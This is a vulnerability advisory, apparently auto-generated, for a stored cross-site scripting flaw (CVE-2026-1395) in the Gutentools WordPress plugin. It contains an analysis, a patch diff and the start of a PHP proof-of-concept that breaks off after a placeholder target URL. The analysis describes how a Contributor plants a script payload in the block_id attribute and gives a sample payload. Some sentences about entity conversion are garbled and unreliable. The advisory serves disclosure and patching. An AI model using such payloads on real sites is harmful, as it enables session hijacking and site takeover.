Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 23, 2026

CVE-2026-1395: Gutentools <= 1.1.3 – Authenticated (Contributor+) Stored Cross-Site Scripting via Post Slider Block Attributes (gutentools)

CVE ID CVE-2026-1395
Plugin gutentools
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.1.3
Patched Version 1.1.4
Disclosed April 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1395:
This vulnerability allows authenticated attackers with Contributor-level access or higher to inject stored cross-site scripting (XSS) payloads into WordPress pages via the Post Slider block’s block_id attribute in the Gutentools plugin, versions 1.1.3 and earlier. The CVSS score is 6.4, indicating medium-high severity.

The root cause lies in the `fix_escaped_tags_in_js()` method in `/core/class_block_helper.php` (lines 200-232 of the diff). This custom method undoes WordPress’s own output escaping by converting HTML entities back to their literal characters. The vulnerable code path is: the plugin collects JavaScript from block rendering (e.g., in `post-slider.php` line 215), passes it through `esc_js()` which escapes HTML entities like `<` to `<`, then the `fix_escaped_tags_in_js()` method reverses this by replacing `<` back to “, `"` back to `”`, `'` back to `’`, and `&` back to `&`. The block_id attribute is directly used in the JavaScript selector string (e.g., `’#’ . $this->block_id . ‘ .gutentools-post-slider-init’`), and when combined with the unescaping routine, an attacker can inject arbitrary JavaScript by embedding malicious HTML entities in the block_id value during block rendering.

Exploitation requires an authenticated user with at least Contributor role. The attacker creates or edits a post using the Gutentools Post Slider block. They set the block_id attribute (or another attribute used in the JavaScript output) to a payload containing malicious JavaScript, such as `”>alert(1)`. When the page is saved, the inject payload is stored in the database. When any user (including administrators or visitors) views the page, the plugin’s JavaScript rendering outputs the block_id unsafely, the custom `fix_escaped_tags_in_js()` method decodes the HTML entities, and the injected script executes in the victim’s browser context.

The patch removes the vulnerable `fix_escaped_tags_in_js()` method entirely (entire block deleted from `class_block_helper.php`). It also changes how JavaScript is injected into the page: instead of escaping the JS string via `esc_js()` and then unescaping it via the custom method, the patch now uses `wp_json_encode()` and `intval()` for safe value insertion, and directly outputs the JavaScript without the dangerous unescape step. For selector strings, it uses `sanitize_html_class()` on the block_id and passes the selector through `wp_json_encode()`, which properly escapes the value for safe inclusion in JavaScript. This prevents HTML entity injection because WordPress’s escaping is no longer reversed.

If exploited, this stored XSS allows attackers to execute arbitrary JavaScript in the context of any user viewing the affected page. This can lead to session hijacking, cookie theft, forced redirections to malicious sites, defacement, or privilege escalation if an administrator views the page and the attacker’s script performs actions using the admin’s WordPress session. The attack requires only Contributor-level access, meaning any user with posting privileges can potentially compromise the entire site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/gutentools/build/blocks/advance-heading/index.asset.php
+++ b/gutentools/build/blocks/advance-heading/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '63731558469c2907318a');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '4983b0e25198385db50b');
--- a/gutentools/build/blocks/call-to-actions/index.asset.php
+++ b/gutentools/build/blocks/call-to-actions/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'd2b3f4fa8cb3ad4966c7');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '0bd2a1d34e7c9cc67bfe');
--- a/gutentools/build/blocks/container/index.asset.php
+++ b/gutentools/build/blocks/container/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives'), 'version' => 'ccfd3dd06137f0ca2d93');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives'), 'version' => '7a32e0fe52ef7b4a0ad2');
--- a/gutentools/build/blocks/count-up/index.asset.php
+++ b/gutentools/build/blocks/count-up/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '63f422a42ae16d886dfb');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'dad4386fa1928aa25c91');
--- a/gutentools/build/blocks/faq/index.asset.php
+++ b/gutentools/build/blocks/faq/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '5229d1d7d75305e2013e');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '4a8a5c4ba2361c8bdb06');
--- a/gutentools/build/blocks/icon-box/index.asset.php
+++ b/gutentools/build/blocks/icon-box/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'd6d0dbe06f1feb5afc5c');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'd7ac220af9edd94ad3f4');
--- a/gutentools/build/blocks/image-slider/index.asset.php
+++ b/gutentools/build/blocks/image-slider/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '50f0ef886dfffe25851a');
+<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '9878a698f4c98088da5c');
--- a/gutentools/build/blocks/post-slider/index.asset.php
+++ b/gutentools/build/blocks/post-slider/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '775de9e0c77235176068');
+<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '81a3bccba31215953207');
--- a/gutentools/build/blocks/post-ticker/index.asset.php
+++ b/gutentools/build/blocks/post-ticker/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '77ca6e0072d7df0ed867');
+<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '154d8515bbc48a90174b');
--- a/gutentools/build/blocks/progress-bar/index.asset.php
+++ b/gutentools/build/blocks/progress-bar/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '449487c1ffb34e54765b');
+<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'f2815591962287a5606a');
--- a/gutentools/build/blocks/slider/index.asset.php
+++ b/gutentools/build/blocks/slider/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives'), 'version' => 'bac2153636d1db540e2f');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives'), 'version' => 'f547a7dd431e7636161a');
--- a/gutentools/build/blocks/star-rating/index.asset.php
+++ b/gutentools/build/blocks/star-rating/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '569ce6bc01278576a6d6');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '23dbbb94715a2db5b6da');
--- a/gutentools/build/blocks/team-member/index.asset.php
+++ b/gutentools/build/blocks/team-member/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '923defc40d04e9ad3f43');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '8b852581dc5cbfc65852');
--- a/gutentools/build/blocks/testimonial/index.asset.php
+++ b/gutentools/build/blocks/testimonial/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'e74fc315d27a9edf7c46');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'f8de9a9fe709b4efaf1e');
--- a/gutentools/core/block_configuration.php
+++ b/gutentools/core/block_configuration.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 /**
  * Gutentools Blocks
  *
@@ -22,7 +25,7 @@
             add_action( 'enqueue_block_assets', [ $this, 'block_assets' ] );
     		add_filter( 'block_categories_all', [ $this, 'register_category' ], 99, 1 );
             add_action( 'after_gutentools_gutentools_load', [ $this, 'include_files' ] );
-            add_action( 'init', [ $this, 'load_text_domain' ] );
+            // add_action( 'init', [ $this, 'load_text_domain' ] );
     	}

         public function register_category( $categories ){
@@ -47,6 +50,7 @@
         public function include_files(){

             require_once Gutentools_Path . "core/gutentools_block.php";
+            do_action( 'gutentools_blocks_ready' );

             $files = glob(Gutentools_Path . 'core/blocks/*.php');

@@ -101,9 +105,9 @@
             }
         }

-        public function load_text_domain(){
-            load_plugin_textdomain( 'gutentools', false, Gutentools_Path . '/languages' );
-        }
+        // public function load_text_domain(){
+        //     load_plugin_textdomain( 'gutentools', false, Gutentools_Path . '/languages' );
+        // }
     }

     Gutentools_Config::get_instance();
--- a/gutentools/core/blocks/image-slider.php
+++ b/gutentools/core/blocks/image-slider.php
@@ -155,39 +155,40 @@

                     $slide = $this->count > esc_attr( $slideToShow[ 'values' ][ 'desktop' ] ) ? esc_attr( $slideToShow[ 'values' ][ 'desktop' ] ) : $this->count;
                     $fade = ( $attrs['fade'] && $slide == 1 ) ? 'true' : 'false';
-
+                    $dots = ( $attrs[ 'enableDots' ]  && $this->count > $slide )? 'true' : 'false';
+                    $block_id = sanitize_html_class( $this->block_id );
+					$selector = '#' . $block_id . ' .gutentools-image-slider-init';
                     // Initialize the slider
                     ob_start();
-                    $dots = ( $attrs[ 'enableDots' ]  && $this->count > $slide )? 'true' : 'false';
                     ?>
                     var slider = {
-                            dots: <?php echo esc_attr( $dots ) ?>,
-                            arrows: <?php echo $attrs['enableArrows'] ? 'true' : 'false'; ?>,
-                            infinite: true,
-                            speed: <?php echo esc_attr($attrs['speed']); ?>,
-                            autoplay: <?php echo $attrs['autoplay'] ? 'true' : 'false'; ?>,
-                            fade: <?php echo $fade ?>,
-                            slidesToShow: <?php echo esc_attr( $slide ) ?>,
-                            slidesToScroll: 1,
-                            cssEase: 'ease-in' ,
-                            prevArrow: '<button type="button" class="gutentools-prev-arrow gutentools-slider-arrow"><i class="fa fa-angle-left"></i></button>',
-                            nextArrow: '<button type="button" class="gutentools-next-arrow gutentools-slider-arrow"><i class="fa fa-angle-right"></i></button>',
-                            responsive: [
-                                {
-                                    breakpoint: 767,
-                                    settings: {
-                                        slidesToShow: <?php echo esc_attr( $slideToShow[ 'values' ][ 'mobile' ] ); ?>
-                                    }
-                                },
-                                {
-                                    breakpoint: 1024,
-                                    settings: {
-                                        slidesToShow: <?php echo esc_attr( $slideToShow[ 'values' ][ 'tablet' ] ); ?>
-                                    }
+                        dots: <?php echo wp_json_encode( (bool) $dots ); ?>,
+                        arrows: <?php echo wp_json_encode( (bool) $attrs['enableArrows'] ); ?>,
+                        infinite: true,
+                        speed: <?php echo intval( $attrs['speed'] ); ?>,
+                        autoplay: <?php echo wp_json_encode( (bool) $attrs['autoplay'] ); ?>,
+                        fade: <?php echo wp_json_encode( (bool) $fade ); ?>,
+                        slidesToShow: <?php echo intval( $slide ); ?>,
+                        slidesToScroll: 1,
+                        cssEase: 'ease-in',
+                        prevArrow: '<button type="button" class="gutentools-prev-arrow gutentools-slider-arrow"><i class="fa fa-angle-left"></i></button>',
+                        nextArrow: '<button type="button" class="gutentools-next-arrow gutentools-slider-arrow"><i class="fa fa-angle-right"></i></button>',
+                        responsive: [
+                            {
+                                breakpoint: 767,
+                                settings: {
+                                    slidesToShow: <?php echo intval( $slideToShow['values']['mobile'] ); ?>
+                                }
+                            },
+                            {
+                                breakpoint: 1024,
+                                settings: {
+                                    slidesToShow: <?php echo intval( $slideToShow['values']['tablet'] ); ?>
                                 }
-                            ]
-                        };
-                        jQuery('#<?php echo esc_attr( $this->block_id ); ?> .gutentools-image-slider-init').slick( slider );
+                            }
+                        ]
+                    };
+                    jQuery(<?php echo wp_json_encode($selector); ?>).slick(slider);

                     <?php
                     $js = ob_get_clean();
--- a/gutentools/core/blocks/post-slider.php
+++ b/gutentools/core/blocks/post-slider.php
@@ -198,42 +198,43 @@
 						    ? $slideToShow['values']['desktop']
 						    : $count;
 					$dots = ( $attrs['enableDots'] && $count > $slide ) ? 'true' : 'false';
+					$block_id = sanitize_html_class( $this->block_id );
+					$selector = '#' . $block_id . ' .gutentools-post-slider-init';

 					ob_start();
-					// $dots = ( $attrs[ 'enableDots' ]  && $this->count > $slide )? 'true' : 'false';
-
 					?>

 					var slider = {
-						slidesToShow: <?php echo esc_attr( $slide ) ?>,
-						slidesToScroll: 1,
-						infinite: true,
-						speed: <?php echo esc_attr( $attrs[ 'speed' ]) ?>,
-						autoplay: <?php echo esc_attr( $attrs[ 'autoplay' ] ? 'true' : 'false') ?>,
-						arrows: <?php echo esc_attr( $attrs[ 'enableArrow' ] ? 'true' : 'false' ) ?>,
-						dots: <?php echo esc_attr( $dots ) ?>,
-						prevArrow: '<button type="button" class="gutentools-prev-arrow gutentools-slider-arrow"><i class="fa fa-angle-left"></i></button>',
-						nextArrow: '<button type="button" class="gutentools-next-arrow gutentools-slider-arrow"><i class="fa fa-angle-right"></i></button>',
-						responsive: [
-							{
-								breakpoint: 767,
-								settings: {
-									slidesToShow: <?php echo esc_attr( $slideToShow[ 'values' ][ 'mobile' ] ); ?>
-								}
-							},
-							{
-								breakpoint: 1024,
-								settings: {
-									slidesToShow: <?php echo esc_attr( $slideToShow[ 'values' ][ 'tablet' ] ); ?>
-								}
-							}
-							]
+					    slidesToShow: <?php echo intval($slide); ?>,
+					    slidesToScroll: 1,
+					    infinite: true,
+					    speed: <?php echo intval($attrs['speed']); ?>,
+					    autoplay: <?php echo wp_json_encode((bool) $attrs['autoplay']); ?>,
+					    arrows: <?php echo wp_json_encode((bool) $attrs['enableArrow']); ?>,
+					    dots: <?php echo wp_json_encode((bool) $dots); ?>,
+					    prevArrow: '<button type="button" class="gutentools-prev-arrow gutentools-slider-arrow"><i class="fa fa-angle-left"></i></button>',
+					    nextArrow: '<button type="button" class="gutentools-next-arrow gutentools-slider-arrow"><i class="fa fa-angle-right"></i></button>',
+					    responsive: [
+					        {
+					            breakpoint: 767,
+					            settings: {
+					                slidesToShow: <?php echo intval($slideToShow['values']['mobile']); ?>
+					            }
+					        },
+					        {
+					            breakpoint: 1024,
+					            settings: {
+					                slidesToShow: <?php echo intval($slideToShow['values']['tablet']); ?>
+					            }
+					        }
+					    ]
 					};
-					jQuery('#<?php echo esc_attr( $this->block_id ); ?> .gutentools-post-slider-init').slick( slider );
+
+					jQuery(<?php echo wp_json_encode($selector); ?>).slick(slider);

 					<?php
 					$js = ob_get_clean();
-					self::add_scripts( $js );
+					self::add_scripts($js);
 		    	}
 			}

--- a/gutentools/core/blocks/post-ticker.php
+++ b/gutentools/core/blocks/post-ticker.php
@@ -126,23 +126,26 @@
 					));

 					$animation = $this->get_slider_direction( $attrs[ 'animation' ]);
-					$block_id = $attrs[ 'block_id' ];
+
+					$block_id = isset($attrs['block_id']) ? sanitize_html_class($attrs['block_id']) : '';
+					$type      = isset($animation[0]) ? $animation[0] : 'horizontal';
+					$direction = isset($animation[1]) ? $animation[1] : 'right';
+					$speed     = isset($animation[2]) ? intval($animation[2]) : 2000;
+
 					ob_start();
 					?>


-					jQuery('#<?php echo esc_js($block_id); ?> .gutentools-ticker-content').AcmeTicker({
-			            type:'<?php echo esc_js( $animation[0] ) ?>',
-			            speed: <?php echo esc_js( $animation[2] ) ?>,
-			            direction: '<?php echo esc_js( $animation[1] ) ?>',
-			            controls: {
-			                prev: jQuery('#<?php echo esc_js($block_id); ?> .gutentools-post-ticker-prev'),
-			                toggle: jQuery('#<?php echo esc_js($block_id); ?> .gutentools-post-ticker-toggle'),
-			                next: jQuery('#<?php echo esc_js($block_id); ?> .gutentools-post-ticker-next')
-			            }
-
-			        });
-
+					jQuery('#<?php echo esc_js( $block_id ); ?> .gutentools-ticker-content').AcmeTicker({
+					    type: '<?php echo esc_js( $type ); ?>',
+					    speed: <?php echo $speed; ?>,
+					    direction: '<?php echo esc_js( $direction ); ?>',
+					    controls: {
+					        prev: jQuery('#<?php echo esc_js($block_id); ?> .gutentools-post-ticker-prev'),
+					        toggle: jQuery('#<?php echo esc_js($block_id); ?> .gutentools-post-ticker-toggle'),
+					        next: jQuery('#<?php echo esc_js($block_id); ?> .gutentools-post-ticker-next')
+					    }
+					});
 			        jQuery('#<?php echo esc_js($block_id); ?> .gutentools-post-ticker-pause').on('click', function() {
 			            jQuery(this).hide();
 			            jQuery('#<?php echo esc_js($block_id); ?> .gutentools-post-ticker-play').show();
@@ -155,10 +158,7 @@

 					<?php
 					$js = ob_get_clean();
-					self::add_scripts( $js );
-
-
-
+					self::add_scripts( $js );
 		    	}
 			}

@@ -216,7 +216,7 @@
 		    ?>
 		    <div id=<?php echo esc_attr( $attrs[ 'block_id' ] ) ?> class="gutentools-post-ticker">
 		    	<?php if( $this->attrs[ 'enableLabel' ] ): ?>
-			    <div class="gutentools-post-ticker-label"><?php echo $this->attrs['label'] ?></div>
+			    <div class="gutentools-post-ticker-label"><?php echo esc_attr( $this->attrs['label'] ) ?></div>
 				<?php endif; ?>
 			    <div class="gutentools-post-ticker-box">
 			        <ul class="gutentools-ticker-content">
--- a/gutentools/core/blocks/slider.php
+++ b/gutentools/core/blocks/slider.php
@@ -174,6 +174,8 @@
 						'css' => $desktop_css,
 					));
 					$dots = ( $attrs[ 'enableDots' ]  && $this->count > 1 )? 'true' : 'false';
+					$block_id = sanitize_html_class( $this->block_id );
+					$selector = '#' . $block_id . ' .gutentools-page-slider-init';
 					ob_start();
 					?>

@@ -181,15 +183,15 @@
 						slidesToShow: 1,
 						slidesToScroll: 1,
 						infinite: true,
-						speed: <?php echo esc_attr( $attrs[ 'speed' ] ) ?>,
-						fade: <?php echo $attrs[ 'fade' ] ? 'true' : 'false' ?>,
-						autoplay: <?php echo $attrs[ 'autoplay' ] ? 'true' : 'false' ?>,
-						arrows: <?php echo $attrs[ 'enableArrow' ] ? 'true' : 'false' ?>,
-						dots: <?php echo esc_attr($dots) ?>,
-						prevArrow: '<button type="button" class="gutentools-prev-arrow gutentools-slider-arrow"><i class="fa fa-angle-left"></i></button>',
+						speed: <?php echo intval( $attrs['speed'] ); ?>,
+					    fade: <?php echo wp_json_encode( (bool) $attrs['fade'] ); ?>,
+					    autoplay: <?php echo wp_json_encode( (bool) $attrs['autoplay'] ); ?>,
+					    arrows: <?php echo wp_json_encode( (bool) $attrs['enableArrow'] ); ?>,
+					    dots: <?php echo wp_json_encode( (bool) $dots ); ?>,
+					    prevArrow: '<button type="button" class="gutentools-prev-arrow gutentools-slider-arrow"><i class="fa fa-angle-left"></i></button>',
 						nextArrow: '<button type="button" class="gutentools-next-arrow gutentools-slider-arrow"><i class="fa fa-angle-right"></i></button>'
 					};
-					jQuery('#<?php echo esc_attr( $this->block_id ); ?> .gutentools-page-slider-init').slick( slider );
+					 jQuery(<?php echo wp_json_encode( $selector ); ?>).slick(slider);

 					<?php
 					$js = ob_get_clean();
--- a/gutentools/core/class_block_helper.php
+++ b/gutentools/core/class_block_helper.php
@@ -200,32 +200,6 @@
 			echo wp_kses( $html, $allowed_tags );
 		}

-		public static function fix_escaped_tags_in_js( $escaped_js_code ) {
-		    $fixed_js_code = str_replace(
-		        [
-		            '<',
-		            '>',
-		            '"',
-		            ''',
-		            '&',
-		            '\'',
-            		'\"',
-		        ],
-		        [
-		            '<',
-		            '>',
-		            '"',
-		            "'",
-		            '&',
-		            "'",
-            		'"',
-		        ],
-		        $escaped_js_code
-		    );
-
-		    return $fixed_js_code;
-		}
-
 		public static function is_woocommerce_active(){
 		    if( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ){
 		        return 1;
@@ -234,6 +208,5 @@
 		    }
 		}

-
 	}
 endif;
 No newline at end of file
--- a/gutentools/core/gutentools_block.php
+++ b/gutentools/core/gutentools_block.php
@@ -1,5 +1,7 @@
 <?php
-
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 class Gutentools_Block extends Gutentools_Helper{
 	public static $styles=[];
 	public static $scripts=[];
@@ -36,7 +38,7 @@
 	}

 	public function __construct(){
-		self::$block_names[] = 'gutentools/' . $this->slug;
+		self::$block_names[] = $this->get_block_name();
 		add_action( 'init', [ $this, 'register' ] );
 		if ( self::$counter == 1 ) {
 			add_action('wp_enqueue_scripts', [$this, 'generate_css'], 98);
@@ -46,6 +48,14 @@
 		self::$counter++;
 	}

+	protected function get_block_name() {
+	    return 'gutentools/' . $this->slug;
+	}
+
+	protected function get_block_base_path() {
+	    return Gutentools_Path . '/build/blocks/' . $this->slug;
+	}
+
 	public function register(){

 		$args = [];
@@ -55,7 +65,7 @@
         }

         add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_scripts' ] );
-		register_block_type( Gutentools_Path . "/build/blocks/" . $this->slug, $args );
+		register_block_type( $this->get_block_base_path(), $args );
 		$script_handle = generate_block_asset_handle( 'gutentools/'.$this->slug, 'editorScript' );
     	wp_set_script_translations( $script_handle, 'gutentools');

@@ -101,27 +111,44 @@
 	}

 	public function generate_scripts() {
+
 	    $scripts = apply_filters('gutentools/scripts', self::$scripts);
+
+	    if ( empty($scripts) ) {
+	        return;
+	    }
+
 	    $js = '';

 	    foreach ($scripts as $script) {
-	        $js .= $script;

+	        if ( ! is_string($script) ) {
+	            continue;
+	        }
+
+	        $js .= trim($script);
 	    }
-	    if (!empty($js)) {
-	    	$js = 'jQuery(document).ready(function(){' . $js . '});';
-	    	$escaped_js_code = esc_js( str_replace( "n", '', $js ) );
-	        wp_register_script(
-	            'gutentools-inline-scripts',
-	             Gutentools_Url.'/assets/scripts/empty.js',
-	            [],
-	            gutentools_get_version(),
-	            true
-	        );

-	        wp_enqueue_script('gutentools-inline-scripts');
-	        wp_add_inline_script('gutentools-inline-scripts', self::fix_escaped_tags_in_js($escaped_js_code));
+	    if ( empty($js) ) {
+	        return;
 	    }
+
+	    $js = 'jQuery(document).ready(function(){' . $js . '});';
+
+	    wp_register_script(
+	        'gutentools-inline-scripts',
+	        Gutentools_Url . '/assets/scripts/empty.js',
+	        [],
+	        gutentools_get_version(),
+	        true
+	    );
+
+	    wp_enqueue_script('gutentools-inline-scripts');
+
+	    wp_add_inline_script(
+	        'gutentools-inline-scripts',
+	        $js
+	    );
 	}


@@ -221,7 +248,7 @@

 	public function get_attrs(){

-		$attr = file_get_contents( Gutentools_Path . '/build/blocks/' . $this->slug .'/block.json' ); // phpcs:ignore
+		$attr = file_get_contents( $this->get_block_base_path() .'/block.json' ); // phpcs:ignore
 		$attr = json_decode( $attr, true );

 		return $attr[ 'attributes' ];
--- a/gutentools/gutentools.php
+++ b/gutentools/gutentools.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Gutentools
  * Description: Gutentools is a powerful block editor plugin designed for seamless full-site editing. It offers a range of customizable blocks, including page and post sliders, containers, and more, all with flexible responsive controls. With an intuitive drag-and-drop visual editor, you can easily create engaging layouts and dynamic content for any device. Unlock the full potential of WordPress with blocks that are tailored for a smooth design experience.
- * Version: 1.1.3
+ * Version: 1.1.4
  * Author: Gutentools
  * Author URI: https://gutentools.com/
  * License: GPLv3 or later
@@ -64,9 +64,11 @@
     }

     if ( file_exists( $source_file ) ) {
-        if ( ! copy( $source_file, $dest_file ) ) {
-            error_log( 'Failed to copy file to uploads directory.' );
-            return;
+       if ( ! copy( $source_file, $dest_file ) ) {
+            return new WP_Error(
+                'file_copy_failed',
+                __( 'Failed to copy file to uploads directory.', 'gutentools' )
+            );
         }

         $filetype = wp_check_filetype( $dest_file, null );
--- a/gutentools/inc/admin-notice.php
+++ b/gutentools/inc/admin-notice.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 if( !class_exists( 'Gutentools_Notice' ) ){
 	class Gutentools_Notice{
--- a/gutentools/inc/admin-page.php
+++ b/gutentools/inc/admin-page.php
@@ -8,7 +8,11 @@
 			<p><?php echo esc_html__( 'Gutentools: Empowering you to create beautiful, responsive websites with ease using flexible Gutenberg blocks.', 'gutentools' ); ?></p>
 		</div>
 		<div class="gutentools-admin-page-header-right">
-			<p><?php echo esc_html__( 'Version: ', 'gutentools' ). gutentools_get_version(); ?></p>
+			<p>
+				<?php
+				/* translators: %s: Plugin version number. */
+				printf( esc_html__( 'Version: %s', 'gutentools' ), esc_html( gutentools_get_version() ) ); ?>
+			</p>
 		</div>
 	</div>
 	<div class="gutentools-admin-page-content">
--- a/gutentools/inc/plugin-page.php
+++ b/gutentools/inc/plugin-page.php
@@ -1,5 +1,7 @@
 <?php
-
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 if( !class_exists( 'Gutentools_Settings' ) ){
 	class Gutentools_Settings{

--- a/gutentools/inc/script_loader.php
+++ b/gutentools/inc/script_loader.php
@@ -1,5 +1,7 @@
 <?php
-
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 if( !class_exists( 'Gutentools_Script_Loader' ) ){
 	class Gutentools_Script_Loader{

--- a/gutentools/inc/svg.php
+++ b/gutentools/inc/svg.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 if( !class_exists( 'Gutentools_Icons' ) ){
 	class Gutentools_Icons{

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1395 - Gutentools <= 1.1.3 - Authenticated (Contributor+) Stored XSS via Post Slider Block Attributes

$target_url = 'http://example.com'; // Change this to the target WordPress site
